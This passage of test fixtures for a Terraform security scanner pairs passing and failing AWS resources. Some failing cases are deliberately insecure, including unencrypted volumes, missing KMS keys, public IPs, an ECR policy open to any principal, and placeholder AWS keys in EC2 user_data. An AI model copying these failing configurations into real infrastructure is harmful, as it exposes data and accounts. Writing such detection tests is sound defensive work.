    "content": "resource \"aws_dlm_lifecycle_policy\" \"pass\" {\n  description        = \"example DLM lifecycle policy\"\n  execution_role_arn = aws_iam_role.dlm_lifecycle_role.arn\n  state              = \"ENABLED\"\n\n  policy_details {\n    resource_types = [\"VOLUME\"]\n\n    schedule {\n      name = \"2 weeks of daily snapshots\"\n\n      create_rule {\n        interval      = 24\n        interval_unit = \"HOURS\"\n        times         = [\"23:45\"]\n      }\n\n      retain_rule {\n        count = 14\n      }\n\n      tags_to_add = {\n        SnapshotCreator = \"DLM\"\n      }\n\n      copy_tags = false\n\n      cross_region_copy_rule {\n        target    = \"us-west-2\"\n        encrypted = true\n        cmk_arn   = aws_kms_key.dlm_cross_region_copy_cmk.arn\n        copy_tags = true\n        retain_rule {\n          interval      = 30\n          interval_unit = \"DAYS\"\n        }\n      }\n\n      cross_region_copy_rule {\n        target    = \"us-west-2\"\n        encrypted = true\n        cmk_arn   = aws_kms_key.dlm_cross_region_copy_cmk.arn\n        copy_tags = true\n        retain_rule {\n          interval      = 20\n          interval_unit = \"DAYS\"\n        }\n      }\n    }\n\n    target_tags = {\n      Snapshot = \"true\"\n    }\n  }\n  tags = {\n    test = \"failed\"\n  }\n}\n\nresource \"aws_dlm_lifecycle_policy\" \"fail\" {\n  description        = \"example DLM lifecycle policy\"\n  execution_role_arn = aws_iam_role.dlm_lifecycle_role.arn\n  state              = \"ENABLED\"\n\n  policy_details {\n    resource_types = [\"VOLUME\"]\n\n    schedule {\n      name = \"2 weeks of daily snapshots\"\n\n      create_rule {\n        interval      = 24\n        interval_unit = \"HOURS\"\n        times         = [\"23:45\"]\n      }\n\n      retain_rule {\n        count = 14\n      }\n\n      tags_to_add = {\n        SnapshotCreator = \"DLM\"\n      }\n\n      copy_tags = false\n\n      cross_region_copy_rule {\n        target    = \"us-west-2\"\n        encrypted = true\n        cmk_arn   = aws_kms_key.dlm_cross_region_copy_cmk.arn\n        copy_tags = true\n        retain_rule {\n          interval      = 20\n          interval_unit = \"DAYS\"\n        }\n      }\n\n      cross_region_copy_rule {\n        target    = \"us-west-2\"\n        encrypted = true\n        copy_tags = true\n        retain_rule {\n          interval      = 30\n          interval_unit = \"DAYS\"\n        }\n      }\n    }\n\n    target_tags = {\n      Snapshot = \"true\"\n    }\n  }\n  tags = {\n    test = \"failed\"\n  }\n}\n\nresource \"aws_dlm_lifecycle_policy\" \"fail2\" {\n  description        = \"example DLM lifecycle policy\"\n  execution_role_arn = aws_iam_role.dlm_lifecycle_role.arn\n  state              = \"ENABLED\"\n\n  policy_details {\n    resource_types = [\"VOLUME\"]\n\n    schedule {\n      name = \"2 weeks of daily snapshots\"\n\n      create_rule {\n        interval      = 24\n        interval_unit = \"HOURS\"\n        times         = [\"23:45\"]\n      }\n\n      retain_rule {\n        count = 14\n      }\n\n      tags_to_add = {\n        SnapshotCreator = \"DLM\"\n      }\n\n      copy_tags = false\n\n      cross_region_copy_rule {\n        target    = \"us-west-2\"\n        copy_tags = true\n        retain_rule {\n          interval      = 30\n          interval_unit = \"DAYS\"\n        }\n        encrypted = false\n      }\n    }\n\n    target_tags = {\n      Snapshot = \"true\"\n    }\n  }\n  tags = {\n    test = \"failed\"\n  }\n}\n\nresource \"aws_iam_role\" \"dlm_lifecycle_role\" {\n  assume_role_policy = \"\"\n}\n\nresource \"aws_kms_key\" \"dlm_cross_region_copy_cmk\" {}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DMSEndpointUsesCMK/main.tf",
    "content": "\nresource \"aws_dms_endpoint\" \"pass\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"source\"\n  engine_name                 = \"aurora\"\n  extra_connection_attributes = \"\"\n  kms_key_arn                 = \"arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012\"\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"test\"\n  ssl_mode                    = \"none\"\n\n  tags = {\n    Name = \"test\"\n  }\n\n  username = \"test\"\n}\n\nresource \"aws_dms_endpoint\" \"pass2\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"source\"\n  engine_name                 = \"aurora\"\n  extra_connection_attributes = \"\"\n  kms_key_arn                 = aws_kms_key.pike.arn\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"test\"\n  ssl_mode                    = \"none\"\n\n  tags = {\n    Name = \"test\"\n  }\n\n  username = \"test\"\n}\n\nresource \"aws_dms_endpoint\" \"fail\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"source\"\n  engine_name                 = \"aurora\"\n  extra_connection_attributes = \"\"\n  kms_key_arn                 = \"\"\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"test\"\n  ssl_mode                    = \"none\"\n\n  tags = {\n    Name = \"test\"\n  }\n\n  username = \"test\"\n}\n\nresource \"aws_dms_endpoint\" \"fail2\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"source\"\n  engine_name                 = \"aurora\"\n  extra_connection_attributes = \"\"\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"test\"\n  ssl_mode                    = \"none\"\n\n  tags = {\n    Name = \"test\"\n  }\n\n  username = \"test\"\n}\n\n\n\nresource \"aws_dms_endpoint\" \"fail3\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"source\"\n  engine_name                 = \"s3\"\n  extra_connection_attributes = \"\"\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"test\"\n  ssl_mode                    = \"none\"\n\n  tags = {\n    Name = \"test\"\n  }\n\n  username = \"test\"\n}\n\nresource \"aws_dms_endpoint\" \"pass3\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"source\"\n  engine_name                 = \"s3\"\n  extra_connection_attributes = \"\"\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"test\"\n  ssl_mode                    = \"none\"\n\n  tags = {\n    Name = \"test\"\n  }\n\n  s3_settings {\n    server_side_encryption_kms_key_id = \"arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012\"\n  }\n  username = \"test\"\n}\n\nresource \"aws_dms_endpoint\" \"pass4\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"source\"\n  engine_name                 = \"mongod\"\n  extra_connection_attributes = \"\"\n  kms_key_arn                 = aws_kms_key.pike.arn\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"test\"\n  ssl_mode                    = \"none\"\n\n  tags = {\n    Name = \"test\"\n  }\n\n  username = \"test\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DMSReplicationInstanceEncryptedWithCMK/main.tf",
    "content": "resource \"aws_dms_replication_instance\" \"pass\" {\n  engine_version             = \"3.1.4\"\n  multi_az                   = false\n  publicly_accessible        = true\n  replication_instance_class = \"dms.t2.micro\"\n  replication_instance_id    = \"test-dms-replication-instance-tf\"\n  kms_key_arn                = aws_kms_key.example.arn\n  # auto_minor_version_upgrade=false\n}\n\n\nresource \"aws_dms_replication_instance\" \"fail\" {\n  engine_version             = \"3.1.4\"\n  multi_az                   = false\n  publicly_accessible        = true\n  replication_instance_class = \"dms.t2.micro\"\n  replication_instance_id    = \"test-dms-replication-instance-tf\"\n  # kms_key_arn = \"\"\n  # auto_minor_version_upgrade=false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DMSReplicationInstanceMinorUpgrade/main.tf",
    "content": "resource \"aws_dms_replication_instance\" \"pass\" {\n  engine_version             = \"3.1.4\"\n  multi_az                   = false\n  publicly_accessible        = true\n  replication_instance_class = \"dms.t2.micro\"\n  replication_instance_id    = \"test-dms-replication-instance-tf\"\n  kms_key_arn                = aws_kms_key.example.arn\n  auto_minor_version_upgrade = true\n}\n\n\nresource \"aws_dms_replication_instance\" \"fail\" {\n  engine_version             = \"3.1.4\"\n  multi_az                   = false\n  publicly_accessible        = true\n  replication_instance_class = \"dms.t2.micro\"\n  replication_instance_id    = \"test-dms-replication-instance-tf\"\n  # kms_key_arn = \"\"\n  auto_minor_version_upgrade = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DMSS3UsesCMK/main.tf",
    "content": "resource \"aws_dms_s3_endpoint\" \"fail\" {\n  endpoint_id             = \"donnedtipi\"\n  endpoint_type           = \"target\"\n  bucket_name             = \"beckut_name\"\n  service_access_role_arn = aws_iam_role.example.arn\n\n  depends_on = [aws_iam_role_policy.example]\n}\n\nresource \"aws_dms_s3_endpoint\" \"fail2\" {\n  endpoint_id             = \"donnedtipi\"\n  endpoint_type           = \"target\"\n  bucket_name             = \"beckut_name\"\n  service_access_role_arn = aws_iam_role.example.arn\n\n  kms_key_arn=\"\"\n  depends_on = [aws_iam_role_policy.example]\n}\n\nresource \"aws_dms_s3_endpoint\" \"pass\" {\n  endpoint_id             = \"donnedtipi\"\n  endpoint_type           = \"target\"\n  bucket_name             = \"beckut_name\"\n  service_access_role_arn = aws_iam_role.example.arn\n\n  kms_key_arn=\"arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012\"\n  depends_on = [aws_iam_role_policy.example]\n}\n\nresource \"aws_dms_s3_endpoint\" \"pass2\" {\n  endpoint_id             = \"donnedtipi\"\n  endpoint_type           = \"target\"\n  bucket_name             = \"beckut_name\"\n  service_access_role_arn = aws_iam_role.example.arn\n\n  kms_key_arn=aws-kms_key.pike.arn\n  depends_on = [aws_iam_role_policy.example]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DatasyncLocationExposesSecrets/main.tf",
    "content": "resource \"aws_datasync_location_object_storage\" \"pass\" {\n  agent_arns      = [aws_datasync_agent.example.arn]\n  server_hostname = \"example\"\n  bucket_name     = \"example\"\n}\n\nresource \"aws_datasync_location_object_storage\" \"fail\" {\n  agent_arns      = [aws_datasync_agent.example.arn]\n  server_hostname = \"example\"\n  bucket_name     = \"example\"\n  secret_key=\"OWTHATSBLOWNIT\"  # checkov:skip=CKV_SECRET_6 test secret\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DeprecatedLambdaRuntime/main.tf",
    "content": "resource \"aws_lambda_function\" \"pass\" {\n  filename      = \"lambda_function_payload.zip\"\n  function_name = \"lambda_function_name\"\n  role          = aws_iam_role.iam_for_lambda.arn\n  handler       = \"index.test\"\n  runtime       = \"nodejs18.x\"\n\n  ephemeral_storage {\n    size = 10240 # Min 512 MB and the Max 10240 MB\n  }\n}\n\nresource \"aws_lambda_function\" \"fail\" {\n  filename      = \"lambda_function_payload.zip\"\n  function_name = \"lambda_function_name\"\n  role          = aws_iam_role.iam_for_lambda.arn\n  handler       = \"index.test\"\n  runtime       = \"python3.6\"\n\n  ephemeral_storage {\n    size = 10240 # Min 512 MB and the Max 10240 MB\n  }\n}\n\nresource \"aws_lambda_function\" \"fail2\" {\n  filename      = \"lambda_function_payload.zip\"\n  function_name = \"lambda_function_name\"\n  role          = aws_iam_role.iam_for_lambda.arn\n  handler       = \"index.test\"\n  runtime       = \"dotnetcore3.1\"\n\n  ephemeral_storage {\n    size = 10240 # Min 512 MB and the Max 10240 MB\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DocDBBackupRetention/main.tf",
    "content": "# pass\n\nresource \"aws_docdb_cluster\" \"pass\" {\n  cluster_identifier = \"my-docdb-cluster\"\n  engine             = \"docdb\"\n  master_username    = \"foo\"\n  master_password    = \"mustbeeightchars\"  # checkov:skip=CKV_SECRET_6 test secret\n\n  backup_retention_period = 7\n}\n\n\n\n# fail\n\nresource \"aws_docdb_cluster\" \"fail_no_value\" {\n  cluster_identifier = \"my-docdb-cluster\"\n  engine             = \"docdb\"\n  master_username    = \"foo\"\n  master_password    = \"mustbeeightchars\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n\n\nresource \"aws_docdb_cluster\" \"fail_value_not_adequate\" {\n  cluster_identifier = \"my-docdb-cluster\"\n  engine             = \"docdb\"\n  master_username    = \"foo\"\n  master_password    = \"mustbeeightchars\"  # checkov:skip=CKV_SECRET_6 test secret\n\n  backup_retention_period = 3\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DocDBEncryptedWithCMK/aws_docdb_cluster.tf",
    "content": "resource \"aws_docdb_cluster\" \"fail\" {\n  cluster_identifier  = \"mycluster\"\n  availability_zones  = [data.aws_availability_zones.available.names[0], data.aws_availability_zones.available.names[1], data.aws_availability_zones.available.names[2]]\n  master_username     = \"foo\"\n  master_password     = \"mustbeeightcharaters\"  # checkov:skip=CKV_SECRET_6 test secret\n  storage_encrypted   = true\n  skip_final_snapshot = true\n}\n\nresource \"aws_docdb_cluster\" \"pass\" {\n  cluster_identifier  = \"mycluster\"\n  availability_zones  = [data.aws_availability_zones.available.names[0], data.aws_availability_zones.available.names[1], data.aws_availability_zones.available.names[2]]\n  master_username     = \"foo\"\n  master_password     = \"mustbeeightcharaters\"\n  storage_encrypted   = true\n  kms_key_id          = aws_kms_key.foo.arn\n  skip_final_snapshot = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DocDBGlobalClusterEncryption/main.tf",
    "content": "resource \"aws_docdb_global_cluster\" \"fail\" {\n  global_cluster_identifier = \"global-test\"\n  engine                    = \"docdb\"\n  engine_version            = \"4.0.0\"\n}\n\nresource \"aws_docdb_global_cluster\" \"fail2\" {\n  global_cluster_identifier = \"global-test\"\n  engine                    = \"docdb\"\n  engine_version            = \"4.0.0\"\n  storage_encrypted = false\n}\n\nresource \"aws_docdb_global_cluster\" \"pass\" {\n  global_cluster_identifier = \"global-test\"\n  engine                    = \"docdb\"\n  engine_version            = \"4.0.0\"\n  storage_encrypted = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DocDBLogging/main.tf",
    "content": "# pass\n\nresource \"aws_docdb_cluster\" \"pass_single\" {\n  cluster_identifier = \"my-docdb-cluster\"\n  engine             = \"docdb\"\n  master_username    = \"foo\"\n  master_password    = \"mustbeeightchars\"  # checkov:skip=CKV_SECRET_6 test secret\n\n  enabled_cloudwatch_logs_exports = [\"audit\"]\n}\n\nresource \"aws_docdb_cluster\" \"pass_double\" {\n  cluster_identifier = \"my-docdb-cluster\"\n  engine             = \"docdb\"\n  master_username    = \"foo\"\n  master_password    = \"mustbeeightchars\"  # checkov:skip=CKV_SECRET_6 test secret\n\n  enabled_cloudwatch_logs_exports = [\"audit\", \"profiler\"]\n}\n\n# fail\n\nresource \"aws_docdb_cluster\" \"fail\" {\n  cluster_identifier = \"my-docdb-cluster\"\n  engine             = \"docdb\"\n  master_username    = \"foo\"\n  master_password    = \"mustbeeightchars\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DynamoDBTableReplicaKMSUsesCMK/main.tf",
    "content": "\nresource \"aws_dynamodb_table_replica\" \"pass\" {\n  provider         = \"aws.alt\"\n  global_table_arn = aws_dynamodb_table.pass.arn\n  kms_key_arn = aws_kms_key.test.arn\n\n  tags = {\n    Name = \"taggy\"\n  }\n}\n\nresource \"aws_dynamodb_table_replica\" \"fail\" {\n  provider         = \"aws.alt\"\n  global_table_arn = aws_dynamodb_table.fail.arn\n\n  tags = {\n    Name = \"taggy\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DynamoDBTablesEncrypted/main.tf",
    "content": "# pass\n\nresource \"aws_dynamodb_table\" \"cmk\" {\n  name           = \"GameScores\"\n  billing_mode   = \"PROVISIONED\"\n  read_capacity  = 20\n  write_capacity = 20\n  hash_key       = \"UserId\"\n  range_key      = \"UserId\"\n\n  attribute {\n    name = \"UserId\"\n    type = \"S\"\n  }\n\n  server_side_encryption {\n    enabled     = true\n    kms_key_arn = \"arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab\"\n  }\n}\n\n# failure\n\nresource \"aws_dynamodb_table\" \"default\" {\n  name           = \"GameScores\"\n  billing_mode   = \"PROVISIONED\"\n  read_capacity  = 20\n  write_capacity = 20\n  hash_key       = \"UserId\"\n  range_key      = \"UserId\"\n\n  attribute {\n    name = \"UserId\"\n    type = \"S\"\n  }\n}\n\nresource \"aws_dynamodb_table\" \"encrypted_false\" {\n  name           = \"GameScores\"\n  billing_mode   = \"PROVISIONED\"\n  read_capacity  = 20\n  write_capacity = 20\n  hash_key       = \"UserId\"\n  range_key      = \"UserId\"\n\n  attribute {\n    name = \"UserId\"\n    type = \"S\"\n  }\n\n  server_side_encryption {\n    enabled = false\n  }\n}\n\nresource \"aws_dynamodb_table\" \"encrypted_no_cmk\" {\n  name           = \"GameScores\"\n  billing_mode   = \"PROVISIONED\"\n  read_capacity  = 20\n  write_capacity = 20\n  hash_key       = \"UserId\"\n  range_key      = \"UserId\"\n\n  attribute {\n    name = \"UserId\"\n    type = \"S\"\n  }\n\n  server_side_encryption {\n    enabled = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EBSDefaultEncryption/main.tf",
    "content": "# pass\n\nresource \"aws_ebs_encryption_by_default\" \"enabled\" {\n  enabled = true\n}\n\nresource \"aws_ebs_encryption_by_default\" \"default\" {\n}\n\nresource \"aws_ebs_encryption_by_default\" \"null\" {\n  enabled = null\n}\n\n# failure\n\nresource \"aws_ebs_encryption_by_default\" \"disabled\" {\n  enabled = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EBSEncryption/aws_ebs_volume.tf",
    "content": "# pass\n\nresource \"aws_ebs_volume\" \"enabled\" {\n  availability_zone = \"us-west-2a\"\n  size              = 20\n\n  encrypted = True\n}\n\n# fail\n\nresource \"aws_ebs_volume\" \"default\" {\n  availability_zone = \"us-west-2a\"\n  size              = 20\n}\n\nresource \"aws_ebs_volume\" \"disabled\" {\n  availability_zone = \"us-west-2a\"\n  size              = 20\n\n  encrypted = False\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EBSSnapshotCopyEncryptedWithCMK/aws_ebs_snapshot_copy.tf",
    "content": "resource \"aws_ebs_snapshot_copy\" \"pass\" {\n  source_snapshot_id = aws_ebs_snapshot.test.id\n  source_region      = data.aws_region.current.name\n  encrypted          = true\n  kms_key_id         = aws_kms_key.test.arn\n\n  tags = {\n    Name = \"testAccEBSSnapshotCopyWithKMSConfig\"\n  }\n}\n\nresource \"aws_ebs_snapshot_copy\" \"fail\" {\n  source_snapshot_id = aws_ebs_snapshot.test.id\n  source_region      = data.aws_region.current.name\n  encrypted          = true\n\n  tags = {\n    Name = \"testAccEBSSnapshotCopyWithKMSConfig\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EBSVolumeEncryptedWithCMK/aws_ebs_volume.tf",
    "content": "resource \"aws_ebs_volume\" \"pass\" {\n  availability_zone = data.aws_availability_zones.available.names[0]\n  size              = 1\n  encrypted         = true\n  kms_key_id        = aws_kms_key.test.arn\n\n  tags = {\n    Name = \"taggy\"\n  }\n}\n\nresource \"aws_ebs_volume\" \"fail\" {\n  availability_zone = data.aws_availability_zones.available.names[0]\n  size              = 1\n  encrypted         = true\n\n  tags = {\n    Name = \"taggy\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EC2Credentials/main.tf",
    "content": "resource \"aws_instance\" \"pass\" {\n  ami           = \"ami-04169656fea786776\"\n  instance_type = \"t2.nano\"\n  user_data     = <<EOF\n#! /bin/bash\nsudo apt-get update\nsudo apt-get install -y apache2\nsudo systemctl start apache2\nsudo systemctl enable apache2\nexport AWS_ACCESS_KEY_ID\nexport AWS_ACCESS_KEY_ID=FOO\nexport AWS_SECRET_ACCESS_KEY=bar\nexport AWS_DEFAULT_REGION=us-west-2\necho \"<h1>Deployed via Terraform</h1>\" | sudo tee /var/www/html/index.html\nEOF\n  tags = {\n    Name = \"${local.resource_prefix.value}-ec2\"\n  }\n\n}\nresource \"aws_instance\" \"fail\" {\n  ami           = \"ami-04169656fea786776\"\n  instance_type = \"t2.nano\"\n  user_data     = <<EOF\n#! /bin/bash\nsudo apt-get update\nsudo apt-get install -y apache2\nsudo systemctl start apache2\nsudo systemctl enable apache2\nexport AWS_ACCESS_KEY_ID\nexport AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE  # checkov:skip=CKV_SECRET_2 test secret\nexport AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY  # checkov:skip=CKV_SECRET_6 test secret\nexport AWS_DEFAULT_REGION=us-west-2\necho \"<h1>Deployed via Terraform</h1>\" | sudo tee /var/www/html/index.html\nEOF\n  tags = {\n    Name = \"${local.resource_prefix.value}-ec2\"\n  }\n}\n\n#resource \"aws_launch_configuration\" \"fail\" {\n#   name          = \"web_config\"\n#   image_id      = data.aws_ami.ubuntu.id\n#   instance_type = \"t2.micro\"\n#   user_data     = <<EOF\n# export DATABASE_PASSWORD=\\\"SomeSortOfPassword\\\"\n# EOF\n# }\n\nresource \"aws_launch_template\" \"fail\" {\n\n  image_id      = \"ami-12345667\"\n  instance_type = \"t2.small\"\n\n  user_data = <<EOF\n export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE  # checkov:skip=CKV_SECRET_2 test secret\n export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY  # checkov:skip=CKV_SECRET_6 test secret\n export AWS_DEFAULT_REGION=us-west-2\nEOF\n}\n\nresource \"aws_launch_template\" \"pass\" {\n     image_id      = \"ami-12345667\"\n     instance_type = \"t2.small\"\n}\n\nresource \"aws_launch_configuration\" \"fail\" {\n   name          = \"web_config\"\n   image_id      = data.aws_ami.ubuntu.id\n   instance_type = \"t2.micro\"\n   user_data = <<EOF\n export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE  # checkov:skip=CKV_SECRET_2 test secret\n export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY  # checkov:skip=CKV_SECRET_6 test secret\n export AWS_DEFAULT_REGION=us-west-2\nEOF\n }\n\nresource \"aws_launch_configuration\" \"pass\" {\n   name          = \"web_config\"\n   image_id      = data.aws_ami.ubuntu.id\n   instance_type = \"t2.micro\"\n }"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EC2PublicIP/main.tf",
    "content": "# pass\n\n# EC2 instance\n\nresource \"aws_instance\" \"default\" {\n  ami           = \"ami-12345\"\n  instance_type = \"t3.micro\"\n}\n\nresource \"aws_instance\" \"private\" {\n  ami           = \"ami-12345\"\n  instance_type = \"t3.micro\"\n\n  associate_public_ip_address = false\n}\n\n# launch template\n\nresource \"aws_launch_template\" \"default\" {\n  image_id      = \"ami-12345\"\n  instance_type = \"t3.micro\"\n}\n\nresource \"aws_launch_template\" \"private\" {\n  image_id      = \"ami-12345\"\n  instance_type = \"t3.micro\"\n\n  network_interfaces {\n    associate_public_ip_address = false\n  }\n}\n\n# fail\n\n# EC2 instance\n\nresource \"aws_instance\" \"public\" {\n  ami           = \"ami-12345\"\n  instance_type = \"t3.micro\"\n\n  associate_public_ip_address = true\n}\n\n# launch template\n\nresource \"aws_launch_template\" \"public\" {\n  image_id      = \"ami-12345\"\n  instance_type = \"t3.micro\"\n\n  network_interfaces {\n    associate_public_ip_address = true\n  }\n}\n\nvariable \"public\" {\n  default = {\n    \"key1\": true,\n    \"key2\": false\n  }\n}\n\nresource \"aws_instance\" \"public_foreach\" {\n  for_each = var.public\n  ami           = \"ami-12345\"\n  instance_type = \"t3.micro\"\n\n  associate_public_ip_address = each.value\n}\n\nvariable \"public_loop\" {\n  default = [{\n    \"name\": \"key3\",\n  },\n  {\n    \"name\": \"key4\",\n  }]\n}\n\nvariable \"loop_list\" {\n  default = [\"k\", \"v\"]\n}\n\nresource \"aws_instance\" \"public_foreach_loop\" {\n  for_each = { for val in var.public_loop : val.name => true }\n  ami           = \"ami-12345\"\n  instance_type = \"t3.micro\"\n\n  associate_public_ip_address = each.value\n}\n\nresource \"aws_instance\" \"public_foreach_loop_list\" {\n  for_each = [ for val in var.loop_list : val ]\n  ami           = \"ami-12345\"\n  instance_type = \"t3.micro\"\n  associate_public_ip_address = each.value\n}\n\nvariable \"loop_list_of_dicts\" {\n  default = [\n    {\n      \"name\": \"public\",\n      \"public_ip\": true\n    },\n    {\n      \"name\": \"private\",\n      \"public_ip\": false\n    }\n  ]\n}\n\nlocals {\n  loop_list_of_dicts = [\n    for val in var.loop_list_of_dicts : {\n      name = val.name\n      public_ip = val.public_ip\n    }\n  ]\n}\n\nresource \"aws_instance\" \"public_foreach_loop_list_of_dicts\" {\n  for_each = { for val in local.loop_list_of_dicts : val.name => val }\n\n  name                        = each.value.name\n  associate_public_ip_address = each.value.public_ip\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EC2PublicIP_foreach/main.tf",
    "content": "module \"s3_module\" {\n  for_each = [\"a\", \"b\"]\n  source = \"./module\"\n  bucket = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EC2PublicIP_foreach/module/main.tf",
    "content": "locals {\n  bucket = var.bucket\n}\n\nvariable \"public\" {\n  default = {\n    \"key1\": true,\n    \"key2\": false\n  }\n}\n\nresource \"aws_instance\" \"poc_modules_foreach\" {\n  for_each = var.public\n  ami           = \"ami-12345\"\n  instance_type = \"t3.micro\"\n\n  associate_public_ip_address = each.value\n}\n\n\nvariable \"bucket\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ECRImmutableTags/main.tf",
    "content": "# pass\n\nresource \"aws_ecr_repository\" \"enabled\" {\n  name = \"example\"\n\n  image_tag_mutability = \"IMMUTABLE\"\n}\n\n#fail\n\nresource \"aws_ecr_repository\" \"default\" {\n  name = \"example\"\n}\n\nresource \"aws_ecr_repository\" \"disabled\" {\n  name = \"example\"\n\n  image_tag_mutability = \"MUTABLE\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ECRPolicy/main.tf",
    "content": "provider \"aws\" {\n  region = \"eu-west-2\"\n}\n\nresource \"aws_ecr_repository\" \"public\" {\n  name = \"public_repo\"\n}\n\nresource \"aws_ecr_repository_policy\" \"fail\" {\n  repository = aws_ecr_repository.public.name\n  policy     = <<POLICY\n{   \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"new policy\",\n            \"Effect\": \"Allow\",\n            \"Principal\": \"*\",\n            \"Action\": [\n                \"ecr:GetDownloadUrlForLayer\",\n                \"ecr:BatchGetImage\",\n                \"ecr:BatchCheckLayerAvailability\",                \n                \"ecr:PutImage\",\n                \"ecr:InitiateLayerUpload\",                \n                \"ecr:UploadLayerPart\",\n                \"ecr:CompleteLayerUpload\",                \n                \"ecr:DescribeRepositories\",                \n                \"ecr:GetRepositoryPolicy\",                \n                \"ecr:ListImages\",                \n                \"ecr:DeleteRepository\",\n                \"ecr:BatchDeleteImage\",                \n                \"ecr:SetRepositoryPolicy\",\n                \"ecr:DeleteRepositoryPolicy\"\n            ]        \n        }   \n    ]\n    }\nPOLICY\n}\n\nresource \"aws_ecr_repository\" \"private\" {\n  name = \"private_repo\"\n}\n\nresource \"aws_ecr_repository_policy\" \"pass\" {\n  repository = aws_ecr_repository.private.name\n  policy     = <<POLICY\n{   \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"new policy\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\"AWS\": [\n                \"arn:aws:iam::123456789012:user/pull-user-1\",\n                \"arn:aws:iam::123456789012:user/pull-user-2\"]},\n            \"Action\": [\n                \"ecr:GetDownloadUrlForLayer\",\n                \"ecr:BatchGetImage\",\n                \"ecr:BatchCheckLayerAvailability\",                \n                \"ecr:PutImage\",\n                \"ecr:InitiateLayerUpload\",                \n                \"ecr:UploadLayerPart\",\n                \"ecr:CompleteLayerUpload\",                \n                \"ecr:DescribeRepositories\",                \n                \"ecr:GetRepositoryPolicy\",                \n                \"ecr:ListImages\",                \n                \"ecr:DeleteRepository\",\n                \"ecr:BatchDeleteImage\",                \n                \"ecr:SetRepositoryPolicy\",\n                \"ecr:DeleteRepositoryPolicy\"\n            ]        \n        }   \n    ]\n    }\nPOLICY\n}\n\n\nresource \"aws_ecr_repository\" \"empty\" {\n  name = \"nopolicy_repo\"\n}\n\nresource \"aws_ecr_repository_policy\" \"empty\" {\n  repository = aws_ecr_repository.empty.name\n  policy     = \"\"\n}\n\nresource \"aws_ecr_repository\" \"conditional_ok\" {\n  name = \"conditional_ok_repo\"\n}\n\nresource \"aws_ecr_repository_policy\" \"pass_conditional\" {\n  repository = 